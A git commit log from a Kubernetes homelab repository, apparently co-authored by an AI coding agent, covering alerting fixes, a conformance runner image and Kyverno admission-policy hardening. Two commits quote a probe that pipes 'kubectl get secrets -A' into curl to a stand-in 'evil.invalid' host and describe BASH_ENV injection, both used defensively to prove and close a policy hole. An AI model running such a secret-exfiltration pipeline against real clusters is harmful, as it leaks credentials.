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jakman85andClaude Opus 5 fc7ec01628 feat(obs): make oauth2-proxy auth failures visible — alert on the gap, not on absent metrics
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Jackett failed on 2026-09-30 in the most expensive way available: HTTP 200 and a
plausible page. oauth2-proxy answers an unauthenticated XHR with a 302 to Keycloak
rather than a 401; the browser follows it silently against a live SSO session and
the call resolves 200 carrying a 44 KB HTML dashboard where the app's JavaScript
wanted JSON. The user is never re-prompted, reloading never helps, and every uptime
check stays green. `jackett-down` watches replicas_available, which was 1 throughout.

The reason nothing alerted turns out not to be a missing rule. Measured on prod:

    count by (__name__) ({__name__=~"oauth2_proxy.*"})
      oauth2_proxy_requests_in_flight => 2

Two series, both from the SHARED forward-auth Deployment. The six per-app gate
sidecars (crafty, jackett, pihole, qbittorrent, radarr, sonarr) publish nothing at
all: no --metrics-address, so the metrics listener never starts; no `metrics`
container port; no ServiceMonitor or PodMonitor selects them. The alert the incident
calls for — sustained auth redirects to an authenticated user — is therefore NOT
WRITABLE, and writing it anyway would have shipped a rule that is present,
evaluating, permanently silent and indistinguishable from health.

So alert on the condition that made the incident invisible, from families that ARE
scraped:

  OAuth2ProxyGateUnobserved
    count by (namespace) (kube_pod_container_info{container="oauth2-proxy"})
      unless
    count by (namespace) (up{container="oauth2-proxy"})

kube_pod_container_info is kube-state-metrics (a declared scrape owner) and sees the
container whether or not it exports anything; `up` is UNIVERSAL and carries a
`container` label for any target, so the rule needs no advance knowledge of what job
name a future per-app scrape picks. Nothing in it touches oauth2_proxy_*, so it
cannot be inert for the reason it is reporting. Run verbatim against live prod it
returns six namespaces and correctly excludes oauth2-proxy. It clears per namespace
as each gate gains a real scrape.

Also:
- promtool companion test pinning all four states: fires unscraped, quiet when
  scraped, honours for:1h, and STOPS once a scrape appears under a different job name.
- runbooks/oauth2-proxy-auth-failures.md — tell the gate's refusal from the group
  check from the app's own login from an XHR that silently got HTML, with the
  2026-09-30 jackett trace as the worked example and the Loki queries to use while
  there are no metrics. Registered in the configMapGenerator and README.
- runbooks/README.md gains an inert-alerts row for the unscraped sidecars.

Rejected: an alert on the shared proxy's oauth2_proxy_requests_total ratio. It needs
a conformance/ SCRAPE_OWNERS entry (human approval) and, decisively, would not have
fired on this incident — the shared instance is not in any sidecar-gated app's data
path and its current pods have proxied nothing. It would have looked like coverage
and been none.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 10:55:19 -05:00
jakman85 0fbf544d5e Merge pull request 'fix(obs): the deploy notification was inhibited before it could send' (#26) from fix/flux-deploy-notification-inhibited into main
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2026-09-30 15:18:54 +00:00
jakman85andClaude Opus 5 8427b28b0e fix(obs): the deploy notification was inhibited before it could send
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FluxRolloutInProgress fired correctly on the first real deploy and its mail
was suppressed before Alertmanager dispatched it. One label was wrong.

kube-prometheus-stack ships general.rules -> InfoInhibitor:

  group by (namespace) (ALERTS{severity="info"} == 1)
    unless on (namespace) group by (namespace)
      (ALERTS{alertname!="InfoInhibitor", alertstate="firing",
              severity=~"warning|critical"} == 1)

which fires for any namespace holding a firing info alert AND NOTHING ELSE
wrong in it, and the chart's third inhibit_rule (source alertname=InfoInhibitor
-> target severity="info", equal [namespace]) then drops exactly that alert.

For a deploy notification that is the worst possible interaction, because the
suppressed case is the ONLY case that matters: on a healthy rollout of a healthy
cluster flux-system holds no warning or critical alert, so the notification is
inhibited precisely when it is wanted, and would arrive only when something else
in flux-system was already broken. Measured on prod: InfoInhibitor went active
2026-09-30T04:58:48Z, the same moment the alert began firing for 12
Kustomizations, and amtool showed no FluxRolloutInProgress in Alertmanager
either active or --inhibited, with zero send failures.

Upstream's intent is explicit and fair: severity "info" means "only worth
showing next to a real problem". A deploy notice is not that, so it must not
claim that severity. FluxRolloutInProgress now carries `notification: deploy`
and no severity at all, and the route matches on that label — no inhibit_rule
in the chart targets anything but severity values, and omitting severity also
stops InfoInhibitor firing for flux-system rather than merely working around it.
FluxRolloutStuck keeps severity: warning and is unaffected.

Also verified on prod in the process, all previously UNVERIFIED: the 33 metric
series exist exactly as designed, the `revision` label IS populated (so the
lastAppliedRevision/artifact.revision paths are right), the podAnnotations roll
forced a new KSM pod, and the rule both fired for 12 lagging Kustomizations and
then CLEARED on convergence — the completion signal's whole mechanism, on real
data. Routing proven by `amtool config routes test notification=deploy` ->
email-deploy.

Still unverified: no mail observed in the inbox. The 226->227 email counter
increment during the window cannot be attributed (no receiver label, other
alerts active), and I am not claiming it either way. See the handoff entry.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 00:05:10 -05:00
jakman85 64c72fd394 Merge pull request 'feat(obs): notify on Flux deploy start and completion' (#25) from feat/flux-deploy-notifications into main
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2026-09-30 04:55:50 +00:00
jakman85 1ea73544c9 Merge branch 'main' into feat/flux-deploy-notifications
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2026-09-30 04:46:39 +00:00
jakman85 296d6d3275 Merge pull request 'feat(ci): the pipeline is the approver' (#17) from feat/ci-is-the-approver into main
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2026-09-30 04:42:44 +00:00
jakman85andClaude Opus 5 55b232e2ce feat(obs): notify on Flux deploy start and completion
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The operator got no mail when Flux began applying a git change and none when
it finished. Measured cause: notification-controller v1.4.0 is running and its
CRDs serve v1beta3, but there are ZERO Provider and ZERO Alert objects in the
cluster — nothing in git ever created any.

The obvious fix does not work. Neither Flux event can be filtered into a deploy
signal: ReconciliationSucceeded is a heartbeat (101 events in one hour across 16
Kustomizations, message byte-identical whether the apply changed anything), and
Progressing is worse (five Kustomizations re-apply the same object on every tick
— event counts 2505/2504/2501/2495/2490). gotk_* carries no revision label at
all (gotk_reconcile_condition 120 series, gotk_suspend_status 40, none with one).

The applied revision is the only signal that moves when and only when git moves,
and it lives in object status alone. So export it via the kube-state-metrics
custom-resource-state path that already serves the Velero Schedule metrics —
kube_flux_kustomization_info/_suspended and kube_flux_gitrepository_info — and
ask the question in PromQL:

  FluxRolloutInProgress (severity: info, no `for:`) fires the moment a
  non-suspended Kustomization's applied revision is not the revision the
  GitRepository fetched from main, and CLEARS when all have caught up. Fired
  mail = a deploy started; RESOLVED mail = it completed. The completion half is
  send_resolved, not a second rule.

  FluxRolloutStuck (severity: warning, for: 30m) is the same expression as the
  escalation for a rollout that started and never converged.

Two guards, each with a test whose only job is to fail if the clause is removed:
`and on () (count(gitrepository_info) > 0)` — without it a missing exporter makes
`unless on (revision) <empty>` remove nothing and all 16 Kustomizations alert
forever, the permanently-firing mode this repo shipped once already — and the
suspended-Kustomization exclusion, without which a suspended tier holds the
rollout open and the "applied" mail never arrives.

A dedicated Alertmanager severity=info route + email-deploy receiver keeps deploy
notices off the [WARNING] catch-all. podAnnotations carries a roll-counter because
the chart sets no checksum over the custom-resource-state ConfigMap, so a
config-only edit would leave KSM on the old collector set with the new alerts
silently inert.

Verified: promtool SUCCESS on 6 scenarios (both guards, plus the convergence test
that proves the alert empties itself); lint/l0/render-golden/l1/decisions-log/
spec-immutability green in the pinned toolbox. NOT verified: no mail has been
sent — the metrics do not exist until this merges. Full gap list, and the
deliberately-cut notification-controller half, in the handoff entry.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:40:01 -05:00
jakman85 b93594b7c8 Merge pull request 'feat(conformance): the in-cluster Job can now run a named commit and get its results out' (#20) from feat/conformance-job-template into main
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2026-09-30 04:09:28 +00:00
jakman85andClaude Opus 5 0749562ad0 docs(decisions): record the rebase and the README merge decision
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#18 has landed, so this branch's "PR #18 must merge first" caveat was stale --
corrected to say what is now true and, more importantly, what is still NOT:
no image has been built or pushed, so the digest this branch pins resolves to
nothing.

Also records the one real conflict the rebase hit and how it was resolved.
#18's README carried a blockquote saying the 4th admission rule pinning the
init container's command "is not in this branch". It IS in this branch
(trigger-initcontainers-must-be-the-committed-clone-step, plus the
ephemeralContainers and env/envFrom rules beside it), so keeping #18's wording
would have left main documenting an open hole that had just been closed.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:04:26 -05:00
jakman85andClaude Opus 5 76b265cd62 docs(decisions): the PR #20 handoff moves out of DECISIONS-LOG.md into its own file
The ~400-line append this branch made to DECISIONS-LOG.md's tail is what made PR #20
unmergeable: every concurrent branch appends to the same last hunk, and on 2026-09-29
four of the five open PRs conflicted on that one file and nothing else. The prose is
unchanged in substance -- it moves to decisions/2026-09-29-conformance-job-template.md,
the one-file-per-handoff layout PR #24 introduces -- and DECISIONS-LOG.md is no longer
touched by this branch at all.

Carried over in full, including every caveat: the initContainers/ephemeralContainers/env
finding and its measurements, the fixture matrix (65 pass / 13 fail / 0 error / 0 skip),
the hardcoded-clone-URL reasoning, the args shapes that cannot run in-cluster, the
`approval-policy` check that does not exist, and all of the UNVERIFIED items -- nothing
has executed against a cluster, the runner image and Secret do not exist, PR #18 must
merge first, and whether the API server even accepts ephemeralContainers in a Job pod
template is still unestablished.

One claim was WEAKENED rather than restated, per ci/l0.sh's own lesson: `kyverno test`
exits 0 and prints "N tests passed" even when a policy FAILS TO LOAD (every row becomes
Skip / Invalid Policy), which was measured while authoring this very policy. The entry
now says explicitly that the admission proofs rest on `kyverno apply`'s `error: 0,
skip: 0` counts, not on any exit code, and that a green l0 line would not by itself have
established that these rules loaded.

Format is decisions/README.md's: frontmatter (date, branch, title) plus the three
sections ci/decisions-log.sh enforces. The branch is rebased onto main at c59fe9f,
after #24 merged, so that stage is in the base and DID run against this entry.

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(archive frozen, 2 entries well-formed), lint (404 files), l0, render-golden (10),
l1 all green; gitea-settings SKIPPED (no SETTINGS_API_TOKEN) and conformance L2/L3
SKIPPED (CLUSTER_AVAILABLE unset); MERGE GATE UNDETERMINED -- stages that did not run:
gitea-settings -- rc 3. Nothing FAILED, and rc 3 is not green.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:02:16 -05:00
jakman85andClaude Opus 5 f6e8fb1fee fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:02:16 -05:00
jakman85andClaude Opus 5 6ef4def2b5 feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:01:33 -05:00
jakman85 cac5c9f2a3 Merge pull request 'feat(conformance): build the runner image the in-cluster L2/L3 Job could never have run' (#18) from feat/conformance-runner-image into main
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2026-09-30 03:59:26 +00:00
jakman85 762c3833fc Merge pull request 'feat(sec): provision the narrow conformance CI trigger credential -- and refuse to arm a fake green' (#19) from feat/conformance-trigger-kubeconfig into main
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2026-09-30 03:58:47 +00:00
jakman85 6dd0914df9 Merge pull request 'fix(crafty): the Keycloak gate works — Crafty's own login was the wall' (#22) from fix/crafty-oauth2-proxy-signin into main
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jakman85andClaude Opus 5 ad5de2dba9 docs(decisions): move PR #19's handoff out of the frozen DECISIONS-LOG.md
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This branch originally appended ~99 lines to the tail of DECISIONS-LOG.md. That
tail is the hunk every concurrent branch collides on: measured against the live
Gitea on 2026-09-29, four of the five open PRs were mergeable:false and
DECISIONS-LOG.md was the ONLY conflicting path in all four. PR #19 was one of them.
Nothing was wrong with the change; the log's storage format serialised work that
was otherwise parallel.

So the handoff now lives in its own file, decisions/2026-09-29-conformance-trigger-kubeconfig.md,
in the one-entry-per-file layout PR #24 introduces (frontmatter date/branch/title,
plus "What changed" / "What I verified" / "What I did NOT verify"). Concurrent
branches then touch disjoint paths and there is nothing to merge.

The branch was rebuilt on today's main with the DECISIONS-LOG.md change dropped
entirely; infra/gitea/README.md and infra/gitea/conformance-trigger-kubeconfig.sh
are byte-identical to the original commits. The original commit that touched ONLY
DECISIONS-LOG.md -- the measurement that PR #19's CI has no approval-policy check
-- was dropped as a commit and its substance folded into the new entry verbatim in
meaning, including every UNVERIFIED it recorded.

No content was upgraded. The script is still UNEXECUTED: nothing minted, no Gitea
object written, no kubectl mutation, and the Gitea variables API shape remains
documentation rather than measurement.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:51:14 -05:00
jakman85andClaude Opus 5 b105c764fc docs(decisions): handoff for the conformance-runner image, as its own file
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CLAUDE.md section 7. This branch originally carried its handoff as a ~236-line
append to the tail of DECISIONS-LOG.md. Measured against the live Gitea on
2026-09-29, that append was the ONLY conflicting path between PR #18 and main,
and it is why the PR was `mergeable: false` -- four of the five open PRs were
unmergeable for exactly the same reason, on the same last hunk.

The append is dropped from this branch entirely; the branch now touches nothing
outside conformance/. Its substance moves here unchanged in meaning, in the
one-file-per-entry shape PR #24 introduces and ci/decisions-log.sh enforces:
frontmatter (date, branch, title) plus "What changed" / "What I verified" /
"What I did NOT verify".

Nothing the branch claims to have proven was upgraded in the move. Everything
the original entry marked UNVERIFIED is still marked UNVERIFIED here, and the
list grew rather than shrank: the image has never run in the cluster, it is not
pushed anywhere so CONFORMANCE_RUNNER_IMAGE_DIGEST stays empty, the image was
NOT rebuilt during this rework, chainsaw's cosign signatures are still
unverified, the 4th policy rule that would make conformance-clone REQUIRED does
not exist so the initContainer hole is open, and L2/L3 still do not run in CI.

Gate on the reworked branch, in the pinned toolbox from this worktree:
rc 3, MERGE GATE: UNDETERMINED, nothing FAILED. spec-immutability, lint, l0,
render-golden and l1 all green; gitea-settings the only stage that did not run
(SETTINGS_API_TOKEN unwired repo-wide); conformance warns L2/L3 UNVERIFIED for
R-SEC-02 R-TEST-01..04. Not green, and not reported as green.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:51:11 -05:00
jakman85andClaude Opus 5 ab9ba32a76 feat(sec): bake conformance-clone so the init container has no injection surface
Closes half of the admission gap a sibling agent found in PR #13's policy: it pins
the MAIN container's `command` but never reads `initContainers`, so a Job from
`conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]`
and an arbitrary script, running as the privileged `conformance-runner` SA.
Reproduced by the policy's author: pass 3, fail 0 on a privileged alpine:latest
init container running `kubectl get secrets -A`.

The image now carries /usr/local/bin/conformance-clone, 0755 root:root, so uid
65532 cannot replace the one executable the policy will come to trust. Clone logic
taken from PR #20's `clone-suite-at-commit`, with both load-bearing properties
preserved: the SHA must match ^[0-9a-f]{40}$, and `rev-parse HEAD` is ASSERTED
equal to it after checkout, so an unrendered placeholder is a hard failure instead
of a silent run of the branch tip. No arguments are accepted.

DEVIATION FROM THE BRIEF, DELIBERATE: the repo URL and clone target are COMPILED
IN rather than read from the environment. I was asked to take SHA, repo URL and
target dir from env. The policy contains no `env`/`valueFrom`/`secretKeyRef` clause
at all -- so trusting CONFORMANCE_REPO_URL would move the injection one field over:
the trigger points it at a repo it controls, this fetches that, and ./run.sh from
the attacker's tree runs under the privileged SA. "No args" would not have stopped
it. The env vars are still read so the Job template stays self-documenting, but a
value disagreeing with the baked literal is a hard failure, never a redirect. The
SHA is the only genuinely trusted per-run input.

THIS IS HALF A FIX. What makes the fixed path REQUIRED rather than merely available
is a 4th policy rule demanding command: ["/usr/local/bin/conformance-clone"] with
no args on every initContainer. That edits the security boundary and belongs in its
own reviewed PR -- it is NOT here. Until it lands the hole is open, and the README,
the Containerfile and the script header all say so.

VERIFIED by running it (uid 65532, --read-only): root:root 755 and confirmed not
writable by the runner; seven negative cases each asserted to exit non-zero
(arguments, missing SHA, a branch name, an unrendered @@placeholder@@, HOME off the
workspace volume, a REDIRECTED repo URL, a clone target off the workspace volume);
and the positive case -- a real clone of this repo at a real 40-hex SHA with
rev-parse HEAD proven equal to it.

Two bugs of mine that only running it could find, both fixed: the workspace-path
guard matched /workspace/* and so rejected the image's own HOME=/workspace; and the
negative checks were pipelines, which under pipefail aborted the verify at the
first expected failure and silently skipped the other six. A verify that stops
early looks exactly like a verify that passed.

The anonymous-clone fallback is deliberate and logged: read access to this repo
needs no credential today, the integrity guarantee is the SHA assertion rather than
the credential, and requiring the Secret would make the script untestable without
one.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5 529556d7c7 fix(conformance): state the chainsaw supply-chain gap accurately
The Containerfile said chainsaw "publishes no per-asset checksum file at a stable
URL". Literally true, and misleading: it reads as "no integrity option exists".
Checked the release assets via the GitHub API -- v0.2.12 ships per-asset cosign
`.sig` + `.pem` and an SBOM alongside each tarball. So verification IS available,
it just needs cosign in the builder stage and the right keyless identity for
kyverno's release workflow.

Comment now says what is actually true: kubectl is sha256-verified, chainsaw rests
on tag + TLS, and the cosign path is named as a TODO rather than implied away.
Deliberately not implemented here -- picking a trusted signer identity is a
supply-chain decision that belongs in its own reviewed change, not a silent
addition to a runner image. Noted that infra/devcontainer/Containerfile has the
same gap for the same binary.

Rebuilt after the edit; the in-image verification still passes.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5 8619c60e6e feat(conformance): build the runner image the in-cluster Job could never have run
The committed L2/L3 Job pins `ghcr.io/kyverno/chainsaw:v0.2.12` with
`command: ["./run.sh"]`. Those two lines cannot both be true. That image carries
the chainsaw binary and essentially nothing else -- no bash, no python3, no
kubectl, no git -- so the Job would have failed at exec of `./run.sh`, before a
single test ran. Nothing in the tree said so.

This adds the image that makes the Job runnable (plan
docs/plans/l2-l3-conformance-ci-wiring.md section 3 item 1):

* conformance/incluster/Containerfile -- bash + python3 + chainsaw + kubectl +
  git-core + tar/gzip/coreutils (the base64-tar results channel of item 3).
  Two-stage: a full Fedora fetches the release binaries and verifies kubectl's
  published sha256; the runtime layer is fedora-minimal and carries no
  downloader. Versions are --build-arg-injected from
  infra/devcontainer/versions.env (CHAINSAW_VERSION, KUBECTL_VERSION,
  FEDORA_VERSION) -- the single source of truth -- so the chainsaw and kubectl in
  the runner are the same pins the toolbox gate runs with. No new pin is invented
  here, and the ARG defaults are EMPTY so a build that forgets one fails loudly
  instead of baking a stale version.

* conformance/incluster/build-image.sh -- builds it, PROVES the toolchain by
  executing it inside the image, and prints the digest. It never pushes: the
  registry credential is not an agent's to hold and publishing the artifact a
  fail-closed policy then trusts is an operator action. It prints the exact
  `podman push --digestfile ...` line instead.

* conformance/versions.env -- CONFORMANCE_RUNNER_IMAGE, with the digest
  deliberately EMPTY and a loud block saying the operator fills it in after the
  push. Empty is a visible failure in whatever renders the Job; a guessed digest
  would be an ImagePullBackOff dressed up as a cluster fault.

WHAT THE ADMISSION BOUNDARY FORCED, AND WHY THE IMAGE OBEYS IT

platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
failurePolicy: Fail and it is the R-SEC-02 boundary. It is NOT modified here.
Two of its clauses are load-bearing on the image itself:

* `runAsNonRoot: true` with no explicit runAsUser means the kubelet rejects an
  image whose USER is a name it cannot resolve to a uid. So USER is NUMERIC
  (65532), not a friendly name.
* The pod is readOnlyRootFilesystem and the policy admits only the `workspace`
  and `results` volumes -- there is no writable /tmp and one cannot be added
  without editing the boundary. So HOME, XDG_CACHE_HOME, XDG_CONFIG_HOME and
  TMPDIR all point into /workspace, and git's safe.directory config is written
  to /etc/gitconfig at BUILD time because a runtime --global write would fail.

VERIFIED BY RUNNING IT, not by a successful build

As uid 65532 with --read-only: bash 5.3.9, Python 3.14.7, git 2.55.0,
kubectl v1.36.4 (client), chainsaw 0.2.12; / confirmed read-only, /workspace
writable, uid confirmed non-zero. Then the real thing -- `./run.sh --lint`,
`--coverage-only` and `--layer l2 --no-cluster` all rc 0 inside the image
against this worktree, emitting coverage.md/.json and report.junit.xml.

KNOWN LIMIT, FLAGGED NOT PAPERED OVER

run.sh runs the selected offline L0/L1 checks before it touches the cluster for
ANY selection that is not offline-only, and those checks shell out to flux,
promtool, kyverno and kustomize, which this image does not carry. Baking the
whole devcontainer toolchain into the runner would roughly double its size to
re-run work ci/l0.sh and ci/l1.sh already did offline in the same CI run. So the
Job must select the cluster-gated layers only (`--layer l2` / `--layer l3`);
`--layer all` and a bare `--requirements <IDs>` would drag the L0 checks in and
fail on a missing tool. `--layer l2` is verified above to resolve the offline
selection to nothing. Choosing the Job's args belongs to T-6.1b; the constraint
is documented in the Containerfile header and the incluster README rather than
left for someone to discover from a pod log.

chainsaw-job.yaml's `image:` is left stale ON PURPOSE -- there is no digest to
put there yet, and the trigger renders that template per run (plan item 4). The
README now says so instead of letting the placeholder read as a pin.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5 01679a0681 docs(decisions): Crafty sign-in handoff — the gate was fine, the local login was the wall
gate / gate (pull_request) Successful in 1m35s
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Records what refused (Crafty's own 401, not oauth2-proxy), that the existing
bootstrap credential is still live (users.last_update == users.created), the
separate cookie-name collision fixed alongside, the traps measured rather
than assumed, the default.json seeding approach considered and rejected with
the entrypoint `ls -A` landmine that kills it, and — plainly — that no browser
round-trip was performed and the gate was rc 3, not green.

Written as its OWN FILE under decisions/ rather than appended to the tail of
DECISIONS-LOG.md. The single-file append is what made this PR (#22) and three
others unmergeable on 2026-09-29: every branch collided on the same last hunk,
with DECISIONS-LOG.md the only conflicting path in all four. The one-file-per-
entry layout and its ci/decisions-log.sh guard land in #24; this entry is
already written in that format, and validates against that checker (rc 0,
"1 entry well-formed"). This branch now touches DECISIONS-LOG.md not at all.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:48:18 -05:00
jakman85andClaude Opus 5 ea0c0632d2 fix(crafty): the Keycloak gate works -- Crafty's own login was the wall
Reported: "crafty does not sign in after signing into keycloak, and there is
no way to set the service up without credentials."

MEASURED, not inferred. The sidecar log settles which layer refused:

  GET /                        -> 302 to Keycloak
  [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy is FINE
  GET /oauth2/callback         -> 302
  GET /login?next=/panel/dashboard -> 200           <- Crafty's OWN login page
  POST /api/v2/auth/login/     -> 401               <- Crafty refused

So the Keycloak gate was never broken. Crafty 4 has no OIDC and cannot consume
the sidecar's identity headers, so it shows its own local login to an already
authenticated user. That second factor is intended. What was NOT intended is
that nothing documented where its password comes from, which is exactly why
setup was impossible: Crafty generates it ONCE on first boot (users table
empty -> DatabaseBuilder.default_settings()) into /crafty/app/config/
default-creds.txt, mode 0600, on the PVC's `config` subPath. Never in git;
a fresh PVC generates a new one. The README asserted the double login was
"expected, not a bug" and then left the reader with no way forward.

